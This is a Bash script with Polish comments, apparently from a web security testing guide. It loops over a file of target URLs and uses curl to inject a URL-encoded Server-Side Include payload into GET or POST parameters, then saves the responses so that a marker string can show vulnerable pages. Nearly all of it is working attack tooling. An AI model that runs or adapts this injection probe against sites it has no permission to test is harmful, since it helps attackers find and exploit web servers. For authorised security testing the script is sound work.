﻿#!/bin/bash

CURL=/usr/bin/curl

# Lokalizacja, w której będziemy umieszczali odpowiedzi otrzymane z serwera.
OUTPUTDIR=/tmp

# Plik z adresami URL do zaatakowania — po jednym w wierszu.
#   Dla żądań GET wiersz powinien przyjąć postać http://<host>:<port>/<ścieżka>?<parametr>=.
#   Dla żądań POST powinien mieć format http://<host>:<port>/<ścieżka><parametr>.
URLFILE=urls.txt

# Jeśli atak wstrzykiwania SSI powiedzie się, w jego wyszukaniu pomoże wykorzystanie polecenia 'grep' dla poniższego ciągu.
UNIQUE_SSI_ID=XYZZY_SSI_INJECT_%Y

typeset -i COUNTER
COUNTER=1

while read LINE
do
     # Pobranie zmiennych URL i PARAMETER dla żądań POST.
     URL=${LINE% *}
     PARAMETER=${LINE#* }

     OUTFILE="${OUTPUTDIR}/curl${COUNTER}.html"
     COUNTER=${COUNTER}+1

     # Zakodowanie zawartości zmiennej LINE, tak by można było ją bezpiecznie wstrzyknąć.
     # To pomoże nam w znalezieniu wrażliwego adresu URL.
     LINE_ENCODED=`echo ${LINE} | perl -MURI::Escape -lne 'print uri_escape($_)'`

     # Ładunek wstrzyknięcia SSI:
     # <!--#config timefmt="${UNIQUE_SSI_ID}(${LINE_ENCODED})" -->
     # <!--#echo var="DATE_LOCAL" -->
     INJECTION_STRING="%3C!--%23config%20timefmt=%22${UNIQUE_SSI_ID}
     (${LINE_ENCODED})%22%20--%3E"
     INJECTION_STRING="${INJECTION_STRING}%3C!
     --%23echo%20var=%22DATE_LOCAL%22%20--%3E"

     if [ "${URL}" != "${LINE}" ]; then
          # Jeśli zmienna LINE odczytana z pliku URLFILE zawiera spację, to dotrzemy do tego miejsca.
          # Zgodnie z formatem pliku URLFILE wskazuje to na żądanie POST.
          curl -f -s -o "${OUTFILE}" -F "${PARAMETER}=${INJECTION_STRING}" ${URL}
     else
          # Jeśli zmienna LINE odczytana z pliku URLFILE nie zawiera spacji, to dotrzemy do tego miejsca.
          # Zgodnie z formatem pliku URLFILE wskazuje to na żądanie GET.
          curl -f -s -o "${OUTFILE}" "${URL}${INJECTION_STRING}"
     fi

     RETCODE=$?

     # Sprawdzenie, czy nastąpiła awaria programu cURL lub serwera.
     if [ $RETCODE != 0 ]
     then
          echo "NIEPOWODZENIE: (curl ${RETCODE}) ${LINE}"
     else
          echo "SUKCES: (curl ${RETCODE}) ${LINE}"
     fi
done < ${URLFILE}
